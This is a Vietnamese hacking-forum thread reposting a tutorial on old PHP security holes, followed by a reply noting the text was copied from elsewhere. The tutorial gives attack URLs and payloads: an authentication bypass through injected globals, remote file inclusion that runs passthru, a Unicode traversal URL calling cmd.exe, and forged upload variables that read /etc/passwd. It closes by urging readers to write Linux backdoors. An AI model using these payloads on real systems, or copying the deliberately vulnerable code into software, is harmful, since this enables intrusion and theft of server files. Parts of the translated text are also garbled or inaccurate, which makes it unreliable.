banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận thâm nhập Chỉ dẫn  XML
  [Question]   Chỉ dẫn 18/12/2006 00:20:49 (+0700) | #1 | 31027
ngoconghuy
Member

[Minus]    0    [Plus]
Joined: 16/12/2006 23:59:01
Messages: 20
Offline
[Profile] [PM]
Lỗi bảo mật của PHP

Chào các bạn , hẳn các bạn biết đến ngôn ngữ lập trinh php qua nhưng site đối thoại với nhưng người dùng . php là 1 ngôn ngữ mạnh nó giup tiết kiệm dung lượng file và làm cho quá trinh duyệt trở nên nhanh hơn . Ngôn nhữ PHP là 1 ngôn ngữ mạnh viết cho mạng , nó có thể execute nhưng ra lệnh của người sử dụng để đem đén cho người dùng 1 hiệu quả làm việc nhanh nhất .
Ngôn ngữ PHP phục vụ cho mạng có nhưng đặc tính sau :
Phiên Dịch
Thực hiện nhanh - không có fork() , hoặc khi cài đặt php không có gì khó khăn Giàu đặc tính - Có nhưng điều không bình thờng trong hàm "builtin" Có cú Pháp đơn giản - Chú ý đến hàm wordy .

Qua đây tôi sẽ có gắng giải thích về sự bảo mật và tấn công khi ta thêm nhưng ký tự vao nhưng file PHP thông qua 2 đặc tính cuối cùng .

những cảnh báo và phạm vi

Ta có thể cài đặt PHP 4.0.4pl1 (voi MySQL, PostgreSQL, IMAP va OpenSSL support enabled) chạy như 1 modun dưới Apache 1.3.19 trên 1 máy Linux
những biến trong PHP không phải được khai báo , chúng tự động được tạ ra lần đầu khi chúng sử dụng . Đây là 1 đặc tính hữu ích rõ ràng trong một ngôn ngữ phát triển nhanh ứng dụng .

Khai Thác :

Ok ! Chúng ta bắt đầu khai thác những vấn đề bảo mật trong PHP .
Ví dụ ta có 1 HTML snippet :

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello" size="20">
<INPUT TYPE="SUBMIT">
</FORM>

Cái này rõ ràng trình bày 1 hộp văn bản và 1 nút bấm . Khi nào ngờ dùng nhấn sumit thì file test.php sẽ được chạy để xử lý đầu vào . Khi nó chạy biến chứa trong hộp văn bản sẽ được ghi vào . Chính nhờ vào điều này mà những người muốn tấn công hệ thống từ xa có thể tạo ra bất kỳ biến nào mà chúng muốn và nó được khai báo trong global namespasce . Nếu thay vào đó việc sử dụng mẫu để ở trên để gọi test.php , một Hacker gọi nó trực tiếp với 1 URL :

"http://server/test.php?hello=hi&setup=no" nó sẽ được thực thi với nhưng biến mới .

Một Ví dụ trong việc dùng file test.php dùng để đăng nhập mật khẩu :

<?php
if ($pass = "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

Trong thao tác bình thường ở trên mã sẽ kiểm tra mật khẩu để quyết định phải chăng người dùng từ xa đã thành công trong việc đăng nhập . Nhưng bạn hãy nhớ ràng 1 Hacker có thể tạo ra nhưng biến trong global namespace .
Với 1 url ta có thể vượt qua được sự kiểm ra password :

http://server/test.php?auth=1

Bạn sẽ có quyền vào những nơi mà không có quyền vào .

Chúng ta hãy quan tâm tìm hiểu về những mảng như : HTTP_GET/POST_VARS[] ;HTTP_GET_VARS ; HTTP_POST_VARS ; HTTP_COOKIE_VARS ; HTTP_POST_FILES ; HTTP_POST_FILES ,
Thật sự tôi không thể giải thích cho các bạn những thẻ trên có tác dụng gì cho Hacker . Mình xin trả lời , Bạn có thể tìm kiếm thông tin như cookie , có khả năng xử lý file , nếu như bạn có thể đưa ra những biến thích hợp .


Remote File (Điều khiển file từ xa)

Bạn hãy xem đoạn mã sau :

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
\n");
?>

Đây là code dùng để cho phép đọc 1 file , và thông báo lỗi khi không có file . Cái này nói lên rằng ta có thể đọc file password /ect/passwd nếu thông qua 1 Script
Ta có thể ví dụ :

"http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"

PHP sẽ ra lệnh cho 1 HTTP request tới server và cố gắng khai thác sự bất thường trong Unicode .

Chính nhờ sự hỗ trợ của các hàm include(),
require(), include_once() and require_once(). sẽ giúp chúng ta thực hiện được nhưng Script . thông qua Url

Bạn hãy xem đoạn code sau :

<?php
include($libdir . "/languages.php");
?>

Trong đó file languages.php có nội dung sau :

<?php
passthru("/bin/ls /etc");
?>

Vậy khi $libdir được gửi tới http:/// ( một webserver ) thì PHP sẽ ra lệnh cho 1 HTTP request tới /ect và trả lại 1 danh sách của /etc tới browser của người dùng . Chính vì đó mà Hacker có toàn bộ thông tin trong server nếu họ muốn .


File Upload

Trong khi ngôn ngữ PHP chưa cung cấp đủ cho nhưng Hacker để làm cho cuộc sống dễ chịu hơn , thì ngôn ngữ hỗ trợ cho RFC 1876 đặt cơ sở làm cho việc upload file dễ dàng hơn .
Bạn hãy xem đoạn code sau :

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello" size="20">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

Mẫu dạng này sẽ cho phép người dùng browser tự lựa chọn nhưng file trên máy tính của mình rồi upload tới người phục vụ mạng từ xa . Rõ ràng đây là một cách upload tốt nhưng sự đáp lại của PHPs chính là tiềm tàng nguy hiểm . ở mẫu trên khi ta upload file thì PHP bắt đầu phân tích nội dung file upload , thẻ $MAX_FILE_SIZE quy định chỉ những file có dung lượng tối đưa là 10240 b mới được phép upload . Sau khi qua sự kiểm tra của PHP nó sẽ cho phép ghi lên ổ cứng vào 1 vùng tạm thời .

Các bạn hãy xem mẫu ví dụ sau :

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g
"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

người tấn công có thể gọi trực tiếp ra trên Browser :

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/
plain&hello_name=hello.txt

Hoặc xem code sau :

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

He he .... Tất cả nội dụng của những bí mật sẽ được phơi bày qua những thẻ upload như thế này .

Tuy nhiên ở những phiên bản mới hơn của PHP có đưa ra phương pháp hữu hiệu trong việc quản lý file và dò xét file upload . Họ đưa ra mảng HTTP_POST_FILES[]
Nhưng có rất nhiều webserver vẫn sử dụng những phiên bản cũ .

Trong khi xem xét kẽ tấn thông qua chỗ upload hãy xem mã PHP sau :
<?php if (file_exists($theme)) // Checks the file exists on the local system (no remote files) include("$theme"); ?>

Nếu người tấn công có thể điều khiển $theme thì họ có thể đọc được toàn bộ nội dung trong hệ thống , thậm chí họ có thể thực thi các file trên hệ thống .
Vì vậy người tấn công bắt buộc phải có những mã PHP này để tạo ra những biến mới để đưa vào trong PHP nguyên bản . Và rồi sự kiểm tra của file_exist sẽ được thông qua và mã sẽ được chạy .

Còn 1 số phần bảo mật trong PHP nữa nhưng nó cũng không quan trọng . nếu các bạn có thời gian thì nên xem
Library Files .

Tôi viết bài này dành cho những người lập trình PHP (nếu bạn không biết về ngôn ngữ PHP đành chịu)

Bạn hãy viết những con Backdoor cho hệ thống Linux nếu bạn muốn . Giống như con remview thì tuyệt đấy chứ .

sưu tầm
[Up] [Print Copy]
  [Question]   Chỉ dẫn 20/12/2006 08:21:03 (+0700) | #2 | 31488
[Avatar]
hakuso
HVA Friend

Joined: 04/01/2004 13:28:06
Messages: 287
Location: làng Đo Đo
Offline
[Profile] [PM]
Tôi tìm thấy bài viết giống như đúc bài này tại www.fedu.uec... (phần còn lại tự google sẽ thấy, vì nội dung trang web tôi tìm thấy cũng không hay lắm).
Nếu bạn chứng minh được bạn là tác giả tôi sẽ xin lỗi sau, nhưng tôi thêm vào bài viết bạn là sưu tầm trước
Live, fight, work and study
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|